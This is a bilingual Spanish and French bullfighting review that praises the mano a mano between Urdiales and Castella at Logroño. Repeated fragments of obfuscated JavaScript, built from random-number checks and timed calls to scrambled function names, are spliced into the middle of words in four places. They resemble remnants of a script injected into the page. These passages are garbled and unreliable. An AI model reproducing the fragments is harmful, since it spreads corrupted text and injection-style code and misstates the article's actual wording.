LOGRONO : POR QUE SE DEBE RECORDAR EL MANO A MANO ENTRE URDIALES Y CASTELLALOGRONO : POURQUOI DOIT-ON SE SOUVENIR DU MANO A MANO D’URDIALES ET CASTELLA

Hay corridas malas que se olvidan y corridas casi buenas que parecen repetidas. No hacen afición y los aficionados también las olvidan. Pero hay corridas que están más allá del bien y del mal y permanecen en la memoria de quienes las vieron. Este es el caso del mano a mano entre Diego Urdiales y Sebastián Castella, sucedido en Logroño durante la pasada Feria de San Mateo.

Primero, porque los toros de Fuente Ymbro fueron, salvo el primero, además de bravos, encastados. Es decir, sumaron a su bravura -la voluntad de embestir-, la agresividad propia de la casta -una agresividad ofensiva, no defensiva. Y como los dos diestros también los lidiaron al ataque, como si fueran bonancibles, estalló la emoción del toreo.

Tuvo la actuación de los toreros un signo de ingenua entrega. Por ejemplo, Urdiales no castigó en varas lo suficiente al tercero de la tarde, como si le faltaran fuerzas o casta, y su faena de muleta fue un pleito explosivo entre la bravura y el temple. Ni ganó el toro, ni ganó el torero. Pero hubo conjunción, armonía de contrarios, la esencia de la tauromaquia. No lo entendió así el Palco presidencial, que premió al matador con dos justas orejas y negó la vuelta al ruedo a un toro de bandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andera.

El de Arnedo aprendió la lección y en el quinto, otro toro bravísimo, le infligió el castigo que merecía. La brava violencia que expresó en las verónicas de recibo se transformó en cadenciosa bravura durante la faena de muleta, lo que dio paso a un toreo lento, purísimo, emocionante, que me recordó por su trazo a Antonio Bienvenida y por su hondura a El Viti. Fue una faena elegante y ebria, con el toro transformado en embestida y el torero olvidado de su cuerpo. Una de las cumbres de la temporada.

Si a Urdiales le tocaron dos toros importantes y uno imposible, Castella se enfrentó a dos toros bravos pero sin ritmo, y a otro bravo pero sin fondo, el sexto, unos mimbres que habrían conducido al fracaso el torero más diestro. Pero el de Béziers sumó a la destreza el valor y le entrega, regaló a los toros el prestigio de unas embestidas más debidas al toreo que a su bravura. y en el sexto respondió a la gran faena de Urdiales con una entrega abismal, la propia de un figurón del toreo, esa raza que lo sitúa siempre por encima de las circunstancias y mantiene incólume su jerarquía.

Cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando se encuentran la bravura encastada de los toros con la magistral entrega de los toreros, las corridas dejan de ser un espectáculo previsible, cercano a las artes repetitivas y a las apoteosis programadas que caracterizan a nuestro tiempo. El mano a mano de Logroño fue un oasis de verdad, un baño purificador, una corrida para recordar.

Il y a des corridas mauvaises qu’on oublie et des corridas presque bonnes qui semblent répétées. Elles n’engendrent pas de passion et les aficionados les oublient aussi. Mais il y a des corridas qui vont au-delà et restent gravées dans la mémoire de ceux qui les ont vues. C’est le cas du mano a mano entre Urdiales et Sébastien Castella, à Logroño lors de la dernière feria qui vient de s’achever.

D’abord, car les toros de Fuente Ymbro furent, hormis le premier, non seulement braves mais encastés. C'est-à-dire qu’à leur bravoure –la volonté de charger- s’ajouta l’agressivité caractéristique de la caste –une agressivité offensive, et non défensive. Et comme les deux toreros se sont lancés à l’attaque comme s’ils étaient placides, l’émotion de la tauromachie explosa.

La prestation des deux toreros fut sous le signe d’un engagement quelque peu ingénu. Par exemple, Urdiales n’a pas suffisamment châtié le troisième de la corrida, comme s’il manquait de force ou de caste, et sa faena à la muleta fut une confrontation explosive entre la bravoure et le temple. Ni le toro, ni le torero n’ont gagné. Mais il y eut une conjonction, l’harmonie des contraires, l’essence de la tauromachie. La présidence ne l’a pas vu de la sorte, elle récompensa le matador de deux oreilles méritées et refusa le tour de piste à un toro exemplaire.

Le torero d’Arnedo apprit la leçon et au cinquième, un autre toro très brave, il lui infligea le châtiment qui lui correspondait. La brave violence qu’il exprima dans les véroniques à sa réception se transforma en une bravoure cadencée au cours de la faena de muleta, il en résulta un toreo lent, très pur, émouvant, qui me rappela par son esthétique celui d’Antonio Bienvenida et par sa profondeur celui de El Viti. Ce fut une faena élégante et pleine d’ivresse, avec le toro transformé en charge et le torero ayant oublié son corps. Une des faenas les plus importantes de la saison.

Si Urdiales eut à affronter deux toros importants et un impossible de toréer, Castella fit face à deux toros braves mais sans rythme et un troisième brave mais manquant de fond, des situations qui auraient conduit à l’échec le torero le plus adroit. Mais le maestro de Béziers associa à la dextérité le courage et l’engagement, et offrit aux toros le prestige de charges répondant davantage au toreo qu’à leur propre bravoure. Et au sixième il répondit à la grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande faena de Urdiales avec un engagement sidéral, celui d’une figura del toreo, avec cette race qui le situe qui le fait se hisser au-delà des aléas et maintient indemne sa hiérarchie.

Lorsque la bravoure encastée des toros est confrontée avec le magistral engagement des toreros, les corridas cessent d’être un spectacle prévisible, proche des arts répétitifs et des apothéoses programmées caractéristiques de notre époque. Le mano a mano de Logroño fut une oasis de vérité, un bain purificateur, une corrida pour le souvenir.

Les commentaires sont fermés.